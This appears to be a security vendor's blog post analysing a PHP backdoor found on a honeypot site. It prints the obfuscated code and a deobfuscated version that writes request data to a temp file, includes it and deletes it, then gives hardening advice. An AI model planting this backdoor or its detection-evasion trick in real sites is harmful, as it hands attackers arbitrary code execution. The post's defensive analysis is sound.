Generic PHP Backdoor Malware Without Eval

Generic PHP Backdoor Malware Without Eval | Quttera blog

All websites are vulnerable. Given public access and enough time, just about any site that runs server-side code can be infected. The most popular language for running code on the server is PHP, with a market share of 63.5% of all websites. It's the basis for some of the most widely used content management systems, including WordPress, Drupal, and Joomla. It's a powerful language that offers developers a choice of platforms. Unfortunately, its power leaves room for exploits that are hard to detect. If you run a PHP site, it's extremely important to have a set of regularly updated tools to catch infection attempts.

Smuggling in Code

Since PHP runs as interpreted code, an intruder can get malicious code to run on a site by altering an existing file or uploading one that contains PHP code. It doesn't have to have a .php extension. Stack Overflow has a discussion of the many ways of executing data as code. Some of them, such as include and require, are necessary for the language to work at all. Others, like eval, venture into the dangerous realm of generating code on the fly.

Intruders only need to inject a small amount of code to install a backdoor that lets them run arbitrary code on the server. A simple backdoor can be just eighteen characters of code. It's a naive hack which will try to run anything anyone submits in a form as PHP. A site with moderately good cybersecurity measures is likely to catch it quickly. But more sophisticated backdoors do essentially the same thing. They just take extra steps to hide themselves. They obfuscate the code and make sure only the people who introduced the backdoor can use it.

A well-disguised backdoor can remain on the server for a long time. Its purpose usually isn't to take the website down or change its content, but to serve as a jumping-off point to attack high-value sites. The criminals who introduced it can use it for a variety of purposes since they can run any kind of PHP code. If they don't overplay their hand, the administrators might not notice it for weeks or months, if ever. It's only when the site gets blacklisted that they notice something is wrong.

A Recent Example

We set up a honeypot website as an experiment. It took just 30 days for it to get infected. We found a backdoor which has turned up in several of our cleanup operations. It consisted of a short piece of obfuscated PHP. Cleaned up for readability, it looks like this:

if (isset($_REQUEST[“d1”])) {
  echo base64_decode(“bGFkeWdhZ2F5”);
  $b= chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(10 1).chr(99).chr(111).chr(100).chr(101);
  $c = $_REQUEST[“d1”];
  $c1 = chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).ch r(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(1 15);
  $d= chr(47).chr(116).chr(109).chr(112).chr(47).chr(102).chr(103).chr(100).chr (102).chr(103).chr(100).chr(102).chr(103);
  $d1 = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32);
  $f = chr(117).chr(110).chr(108).chr(105).chr(110).chr(107); $c1($d, $d1.$b($c));

This code looks for a form field called "d1." If there is one, it uses a combination of base 64 decoding and character concatenation to construct a function that will write the field's contents to a file, execute it as PHP, and delete the file. Minus the obfuscation, it looks like this:

1   if (isset($_REQUEST[“d1”])) {
2       echo base64_decode(“bGFkeWdhZ2F5”);
3       $b = “base64_decode”;
4       $c = $_REQUEST[“d1”];
5       $c1 = “file_put_contents”;
6       $d = “/tmp/fgdfgdfg”;
7       $d1 = “<?php”;
8       $f = “unlink”;
9       $c1($d, $d1.$b($c));    //file_put_contents(“/tmp/fgdfgdfg”,”<?php” . base64_decode($_REQUEST[“d1”]));
10      include($d);            //loads and execute just created file
11      $f($d);                 //unlink(“/tmp/fgdfgdfg”);
12  }

The plain version could be injected directly, but it obviously creates an executable PHP file on the fly. Most protection tools would raise a lot of red flags and disable the code promptly. The obfuscated version will evade many forms of detection. Users can look for backdoors on their own, and certainly, that's better than nothing, but the obfuscation methods keep getting sneakier.

Where do Backdoors Come From?

Generic PHP Backdoor Malware Without Eval | Quttera blog

On a perfectly secure site, backdoors wouldn't be a problem, because no one could inject them into the server. The problem is that the only perfectly secure site is one that isn't connected to a network. There are several routes by which unauthorized code can infiltrate a website.

  • Bugs in server code. Defects in code allow tricks such as SQL injection, buffer overflow, and cross-site scripting to violate a site's integrity and deposit malicious code. Old code which hasn't been kept up to date is especially vulnerable since it tends to have publicly known bugs.
  • File uploads. A site which lets users upload files is vulnerable if it doesn't check them carefully. PHP code can hide in files that claim to be images or Zip archives.
  • Add-on code. Some people offer add-on code for a CMS that claims to do something useful but contains a backdoor. Some sites offer legitimate add-ons from well-known publishers but modify them to add hostile code. Even legitimate sources sometimes get tricked into making an infected version available.
  • Using account credentials. If the crooks can guess or steal an administrator password, they can log into the site and do whatever they like. They might install a backdoor rather than using more direct means, simply because it has a smaller footprint and can go unnoticed. Changing the password won't help once the site is compromised.

A site that has a backdoor is apt to have more than one. Finding one and removing it isn't a guarantee of eliminating the problem.

What can They do?

A code injection attack can be hard to detect. Your first warning may be that users get a browser warning when they access your site. It could be that the email you send has been blacklisted. It might be content on your site that shouldn't be there. Your site might stop appearing in search engine results.

  • Sending out spam email from your website
  • Replicating malware to other sites
  • Participating in a DDoS attack
  • Relaying messages to conceal their point of origin

Their ongoing use might not cause direct harm, but when a site's IP address is regularly the source of hostile actions, it will start appearing on blacklists. Browsers will block the site, and legitimate email will be flagged as spam. Internet vigilantes may try to attack the site and take it down.

How to Secure My Website

Generic PHP Backdoor Malware Without Eval | Quttera blog

While there is no absolute guarantee of safety, You can do several things to make your site less vulnerable and catch intrusions faster.

Keeping the software up to date is important. The latest version of a CMS has patches for all known vulnerabilities. You should also update your PHP version to the latest one your code allows.

You should keep the site as tightly locked as possible. Make sure all accounts are well secured and don't give out privileges too freely. Be careful of where you get your add-on code. Don't let strangers upload files, or at least make sure they don't go to a Web-accessible directory.

Finally, you need powerful, up-to-date tools for malware removal and detection. Malware keeps evolving, and the tools to catch it need to keep up with the latest tricks. When you sign up for ThreatSign, you get security monitoring and malware alerts without having to install constant updates on your own machines. It scans all the files on your site and reports any malware it finds. It also reports if your site has been blacklisted and allows removal with a click once the problem is fixed. With ThreatSign, you can be confident that any intrusions on your site will be caught in the act.